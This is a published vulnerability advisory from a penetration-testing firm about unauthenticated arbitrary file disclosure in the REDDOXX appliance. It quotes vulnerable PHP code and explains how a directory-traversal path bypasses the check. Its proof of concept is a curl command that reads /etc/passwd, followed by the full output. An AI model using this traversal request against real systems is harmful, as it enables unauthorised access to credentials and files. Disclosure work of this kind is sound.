REDDOXX Appliance Arbitrary File Disclosure

`Advisory: Unauthenticated Arbitrary File Disclosure in REDDOXX Appliance  
  
RedTeam Pentesting discovered an arbitrary file disclosure  
vulnerability in the REDDOXX appliance software, which allows  
unauthenticated attackers to download arbitrary files from the affected  
system.  
  
  
Details  
=======  
  
Product: REDDOXX Appliance  
Affected Versions: Build 2032 / v2.0.625, older versions likely affected too  
Fixed Versions: Version 2032 SP2  
Vulnerability Type: Arbitrary File Disclosure  
Security Risk: high  
Vendor URL: https://www.reddoxx.com/  
Vendor Status: patch available  
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-004  
Advisory Status: published  
CVE: GENERIC-MAP-NOMATCH  
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH  
  
  
Introduction  
============  
  
"REDDOXX is a leading supplier of solutions for e-mail archiving,  
encrypted and digitally signed e-mail traffic as well as spam  
protection. Our focus is on technological innovation: taking our cue  
from our clientsa requirements our competent and quality-conscious  
employees strive to offer you the best possible products at all times.  
Using stringent quality standards and proven processes we keep  
developing our company and products continuously, with the goal of  
continuous improvement."  
  
(from the vendor's homepage)  
  
  
More Details  
============  
  
The REDDOXX appliance [0] contains a PHP script called download.php. It  
is available at http://www.example.com/download.php in normal  
installations and resides at /opt/reddoxx/local/htdocs/download.php in  
the local filesystem of the appliance. Through the ISO provided on  
the vendor's homepage [1], it was possible to analyze this file and any  
other file in a typical REDDOXX appliance installation.  
  
The file contains the following source code (shortened to relevant  
sections):  
  
------------------------------------------------------------------------  
<?php  
[...]  
  
// For MD 2.0  
$fileName = $_GET['file'];  
  
[...]  
  
// For MD 2.0  
if ($fileName <> '') {  
$file = $fileName;  
$fileID = basename($fileName);  
}  
  
// Currently we only allow downloads from session directories  
if ((strpos($file, '/opt/reddoxx/wi/Sessions/') === false) &&  
(strpos($file, '/opt/reddoxx/data/temp/Sessions/') === false)) {  
die('File is not in session directory: ' . $file);  
}  
  
if(!file_exists($file))  
{  
[...]  
}  
else  
{  
// Set headers  
header('Pragma: public');  
header('Expires: 0');  
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');  
header('Cache-Control: private' ,false);  
  
header('Content-Description: File Transfer');  
header('Content-Disposition: attachment; filename="' . $fileID. '"');  
header('Content-Type: application/octet-stream');  
header('Content-Transfer-Encoding: binary');  
header('Content-Length: ' . filesize($file));  
  
// Read the file from disk  
readfile($file);  
}  
?>  
------------------------------------------------------------------------  
  
The script expects a URL parameter called "file" and stores its value in  
the variable $fileName. The value of this variable is then copied to the  
variable $file, which undergoes two different checks: First, the  
function strpos() is used to check whether a certain substring is  
contained in the value of the variable. The second check used the function  
file_exists() to determine whether the file specified in the variable is  
present in the filesystem.  
  
In order to circumvent the first check, a path such as  
  
------------------------------------------------------------------------  
/opt/reddoxx/data/temp/Sessions/../../../../../etc/passwd  
------------------------------------------------------------------------  
  
can be specified, as there are no protections against directory  
traversal in place. This path also passes the second check imposed by  
the function file_exists(). Having bypassed both checks, attackers are  
now able to reach the readfile() function and download arbitrary files.  
  
Since no authentication checks are in place, the disclosure of arbitrary  
files if also possible for unauthenticated attackers.  
  
The same functionality is vulnerable to a cross-site scripting  
vulnerability as described in rt-sa-2017-003 [2].  
  
  
Proof of Concept  
================  
  
The following curl command-line can be used to trigger the vulnerability:  
  
------------------------------------------------------------------------  
$ curl --silent 'http://www.example.com/download.php?file='\  
'/opt/reddoxx/data/temp/Sessions/../../../../../etc/passwd'  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
libuuid:x:100:101::/var/lib/libuuid:  
syslog:x:101:104::/home/syslog:/bin/false  
messagebus:x:102:105::/var/run/dbus:/bin/false  
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin  
vboxadd:x:999:1::/var/run/vboxadd:/bin/false  
statd:x:104:65534::/var/lib/nfs:/bin/false  
admin:x:0:0:admin,,,:/home/admin:/opt/reddoxx/local/scripts/admin.sh  
clamav:x:105:111::/var/lib/clamav:/bin/false  
ntp:x:106:112::/home/ntp:/bin/false  
hacluster:x:107:113:Heartbeat System Account,,,:/usr/lib/heartbeat:/bin/false  
firebird:x:108:114:Firebird Database Administator,,,:/var/lib/firebird:/bin/bash  
redis:x:109:115:redis server,,,:/var/lib/redis:/bin/false  
snmp:x:110:116::/var/lib/snmp:/bin/false  
bind:x:111:117::/var/cache/bind:/bin/false  
smbadmin:x:1001:1001::/home/smbadmin:/bin/false  
smbuser:x:1002:1002::/home/smbuser:/bin/false  
------------------------------------------------------------------------  
  
  
Workaround  
==========  
  
None  
  
  
Fix  
===  
  
Update the appliance software to Version 2032 SP2.  
  
  
Security Risk  
=============  
  
This vulnerability can be used by attackers to download arbitrary files  
if the filename and path is known from filesystems reachable on the  
appliance. Depending on the configuration of the appliance, attackers  
can read the credentials stored in the configuration files or extract  
session IDs from log files. There are also no authentication checks in  
place. Therefore, the vulnerability poses a high risk.  
  
  
Timeline  
========  
  
2017-05-16 Vulnerability identified  
2017-05-23 Customer approved disclosure of vulnerability  
2017-05-26 Customer provided details of vulnerability to vendor  
2017-06-21 Vulnerability reported as fixed by vendor  
2017-07-24 Advisory released  
  
  
References  
==========  
  
[0] https://www.reddoxx.com/en/  
[1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads  
(Requires login)  
[2] https://www.redteam-pentesting.de/advisories/rt-sa-2017-003  
  
  
RedTeam Pentesting GmbH  
=======================  
  
RedTeam Pentesting offers individual penetration tests performed by a  
team of specialised IT-security experts. Hereby, security weaknesses in  
company networks or products are uncovered and can be fixed immediately.  
  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security-related areas. The results are made available as public  
security advisories.  
  
More information about RedTeam Pentesting can be found at:  
https://www.redteam-pentesting.de/  
  
  
Working at RedTeam Pentesting  
=============================  
  
RedTeam Pentesting GmbH is looking for more penetration testers to join  
our team. If you are interested in working for RedTeam Pentesting in  
Aachen, please visit the respective section of our website.  
  
--   
RedTeam Pentesting GmbH Tel.: +49 241 510081-0  
Dennewartstr. 25-27 Fax : +49 241 510081-99  
52068 Aachen https://www.redteam-pentesting.de  
Germany Registergericht: Aachen HRB 14004  
GeschA$?ftsfA1/4hrer: Patrick Hof, Jens Liebchen  
`